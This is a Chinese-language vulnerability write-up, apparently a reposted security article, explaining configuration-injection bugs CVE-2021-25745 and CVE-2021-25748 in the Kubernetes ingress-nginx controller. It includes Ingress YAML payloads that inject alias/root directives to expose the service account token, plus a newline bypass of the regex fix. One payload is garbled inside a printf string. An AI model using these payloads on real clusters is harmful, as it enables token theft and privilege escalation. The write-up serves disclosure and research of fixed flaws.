<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Kubernetes NGINX Ingress Controller 中的新漏洞

    VSole2022-07-08 16:47:45

    序言

    從 2021 年 10 月開始,NGINX 的 Kubernetes Ingress Controller開始受到安全研究人員的關注。

    曾披露了CVE-2021-25742漏洞:攻擊者可以通過定制化的Snippets特性創建或修改集群中的Ingress實例,從而獲取集群中所有的Secret實例信息。

    CVE-2021-25742 的要點是:攻擊者能夠使用片段注釋功能將 Lua 代碼作為 NGINX 配置的一部分注入服務器塊中。由于當時 NGINX Kubernetes Ingress Controller 的設計不安全,攻擊者可以利用 Lua 代碼執行來獲取 Ingress Controller 訪問令牌(該令牌在 Kubernetes 集群內具有高權限)。

    研究歷程

    在 CVE-2021-25742 發布后的幾個月內,Lightspin 和其他研究人員發現了三個利用 NGINX Kubernetes Ingress Controller 配置文件注入的新 CVE:CVE-2021-25745、CVE-2021-25746、CVE-2021 -25748:

    (CVE-2021-25745)

    https://github.com/kubernetes/ingress-nginx/issues/8502

    (CVE-2021-25746)

    https://github.com/kubernetes/ingress-nginx/issues/8503

    (CVE-2021 -25748)

    https://github.com/kubernetes/ingress-nginx/issues/8686

    探討

    1、Kubernetes NGINX Ingress Controller 漏洞頻發的原因

    Ingress Controller 之所以成為攻擊者和研究人員的理想目標,主要有三個原因。

    • 流行:根據公開研究,大多數 Kubernetes 集群使用 NGINX 作為其入口控制器。以下是CNCF 2021 年針對使用過的 Kubernetes Ingress 提供商的調查結果。NGINX 的 Ingress Controller 用于全球 50% 的響應集群。

    • 高權限:默認情況下,NGINX Ingress Controller在集群中擁有一個具有強大權限的服務帳戶,例如能夠獲取集群中的任何密鑰。如果 Kubernetes 集群中有一個服務帳戶綁定到一個高特權集群角色(例如“cluster-admin”),攻擊者可以輕松地從 NGINX Ingress Controller轉移到另一個服務帳戶。
    • 開源:在過去的幾年里,軟件供應鏈風險一直是安全社區的頭等大事,就 NGINX Ingress Controller而言,它的流行應該會加劇這種擔憂。

    根本原因

    作為 Ingress-NGINX 實現的一部分,有兩個主要組件在運行:

    • NGINX Web 代理服務器:接收傳入請求并根據nginx.conf配置文件中編寫的規則路由它們。
    • Ingress controller: 負責通過將其解釋添加到nginx.conf配置文件來滿足 Ingress 資源規則的組件。
    • 在安全設計中,應該有一種方式從 Ingress 控制器訪問 NGINX Web 代理nginx.conf配置文件以進行規則更新。NGINX Web 代理進程不應該對 Ingress 控制器資源有任何訪問權限。

    添加到 Ingress 控制器的ingress-nginx集群角色使這種分離更加重要,這將決定它在集群中正確運行。此集群角色具有強大的權限,例如獲取集群范圍內的所有密鑰。不幸的是,這種分離還沒有完全實現,這使得 Ingress-NGINX 成為在集群內進行提權的較好途徑。

    2、CVE-2021-25745:使用Ingress資源注入nginx.conf

    該過程的一個重要部分是了解 Ingress 資源定義如何轉換為nginx.conf文件中的配置塊。首先,創建一個簡單的 Ingress 資源。

    printf("hello worlapiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: /gafpathType: Prefixbackend:service:name: some-serviceport:number: 5678d!");
    

    創建 Ingress 資源后,我們可以檢查nginx.conf文件中的更改。

    kubectl exec -it <ingress-nginx-controller-pod> -n ingress-nginx -- cat /etc/nginx/nginx.conf | grep gaf -A 20 -B 20
    

    有多個字段的值被注入到nginx.conf文件中(path, namespace, Ingress name, service name and port)。但它們中的大多數被 DNS 使用,并且僅限于字母數字字符、數字、“-”或“.”。唯一可以包含任何字符的字段是路徑。

    通過操作路徑字段中的值,我們可以關閉配置中的當前位置塊,并打開一個新塊,可以包含任意我們想輸入的內容,即“配置注入”。由于 NGINX 有可以提供靜態內容的指令,我們可以使用指令或 Lua 代碼來獲取ingress-nginx服務帳戶令牌。

    alias指令的payload:

    apiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaapathType: Prefixbackend:service:name: some-serviceport:number: 5678
    

    root指令的payload:

    apiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: /serviceaccount{root /var/run/secrets/kubernetes.io;}location ~* ^/aaapathType: Prefixbackend:service:name: some-serviceport:number: 5678
    

    這是使用alias指令payload后生成的 nginx.conf 內容:

    現在我們可以從 http:///gaf/token訪問 Ingress 控制器服務帳戶令牌。

    3、CVE-2021-25748:修復和繞過

    作為 CVE-2021-25745 修復的一部分,Kubernetes 團隊為 Ingress 對象規范實施了深度檢查( https://github.com/kubernetes/ingress-nginx/pull/8456/commits/83107e0af40b99066b6a72faf33d95a969d17b18 )。

    該檢查器使用正則表達式模式列表來驗證 Ingress 字段的值,如下所示。

    雖然整體實現實現了其目標,但我們仍然發現上述正則表達式模式存在兩個問題:

    • / var/run鏈接到/run。所以,我們可以訪問/run/secrets/kubernetes.io/serviceaccount/token
    • 我們可以使用換行符 (\n) 繞過 '.*;' 查看。

    這是一個繞過正則表達式payload示例,正如我們所解釋的:

    apiVersion: networking.k8s.io/v1kind: Ingressmetadata:name: gaf-ingressannotations:kubernetes.io/ingress.class: "nginx"spec:rules:- http:paths:- path: "/gaf{alias #\n/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa"pathType: Prefixbackend:service:name: some-serviceport:number: 5678
    

    上述情況已經報告給了Kubernetes,隨后在 NGINX Ingress Controller 的 1.2.1 版本中得到修復。作為更新修復的一部分, alias 和 root 指令已被刪除,這使我們濫用正則表達式模式的方式無效。

    kubernetesnginx
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    序從 2021 年 10 月開始,NGINXKubernetes Ingress Controller開始受到安全研究人員的關注。曾披露了CVE-2021-25742漏洞:攻擊者可以通過定制化的Snippets特性創建或修改集群中的Ingress實例,從而獲取集群中所有的Secret實例信息。
    在Ingress-nginx中存在信息泄露漏洞,可以創建或更新 Ingress 對象的用戶可以在利用該漏洞訪問集群中的所有 Secret。
    haproxy-ingress的部署
    2022-01-16 14:01:33
    以前給環境安裝ingress都直接用kubernetes的ingress-nginx,國內沒有安裝源,而且ingress自己沒有高可靠,最近研究了一種新的ingress,haproxy-ingress,效果不錯,安裝也方便,還默認支持高可靠, 參考https://haproxy-ingress.github.io/docs/getting-started/, 需要用helm來安裝,因此先安裝h
    最牛逼的集群監控系統,它始終位列第一!
    Kubernetes部署應用
    2022-05-11 13:36:57
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    容器及其周圍的生態系統改變了工程師部署、維護和排查工作負載故障的方式。但是,在 Kubernetes 集群上調試應用程序有時可能會很困難,因為你可能在容器中找不到所需的調試工具。 許多工程師使用基于精簡、發行版構建無發行版的基礎鏡像,其中甚至沒有包管理器或shell。甚至一些團隊使用 scratch 作為基礎鏡像,并且只添加應用程序運行所需的文件。這種常見做法的一些原因是:
    展示在Kubernetes集群中的攻擊和防御思路
    雖然網上有大量從零搭建 K8S 的文章,但大都針對老版本,若直接照搬去安裝最新的 1.20 版本會遇到一堆問題。故此將我的安裝步驟記錄下來,希望能為讀者提供 copy and paste 式的集群搭建幫助。
    雖然網上有大量從零搭建?的文章,但大都針對老版本,若直接照搬去安裝最新的?版本會遇到一堆問題。故此將我的安裝步驟記錄下來,希望能為讀者提供?式的集群搭建幫助。服務等,可供用戶免費下載、使用和分享。??啟動的三節點服務已經配置好了以下使用?節點進行演示查看,其他節點操作均一致#?
    kubectl 常用命令指南Kubectl 命令是操作 kubernetes 集群的最直接的方式,特別是運維人員,需要對這些命令有一個詳細的掌握
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类